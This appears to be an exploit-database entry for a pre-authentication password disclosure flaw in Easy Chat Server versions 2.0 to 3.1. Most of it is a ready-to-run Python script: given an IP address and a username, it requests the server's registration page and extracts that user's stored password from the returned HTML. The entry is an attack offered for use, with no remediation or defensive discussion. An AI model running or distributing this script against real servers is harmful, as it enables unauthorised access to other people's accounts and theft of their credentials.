Easy Chat Server Remote Password Disclosure

2017.06.11
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Easy Chat Server Remote Password Disclosure # Date: 09/10/2017 # Software Link: http://echatserver.com/ecssetup.exe # Exploit Author: Aitezaz Mohsin # Vulnerable Version: v2.0 to v3.1 # Vulnerability Type: Pre-Auth Remote Password Disclosure # Severity: Critical # ========================================================================================================= # Registeration page 'register.ghp' allows disclosing ANY user's password. # Remote un-authenticated attackers can send HTTP GET requests to obtain ANY Easy Chat Server user password. # ========================================================================================================= # USAGE: python exploit.py ip username #!/usr/bin/python import urllib import re import requests import sys ip = sys.argv[1] username = sys.argv[2] url = 'http://' + ip + '/register.ghp?username=' + username + '&password=' response = requests.get(url) html = response.content pattern = '<INPUT type="password" name="Password" maxlength="30" value="(.+?)">' result = re.compile(pattern) password = re.findall(result,html) x = ''.join(password) password = x.replace("[", "") password = x.replace("]", "") print "Password: " + password

References:

http://echatserver.com/ecssetup.exe


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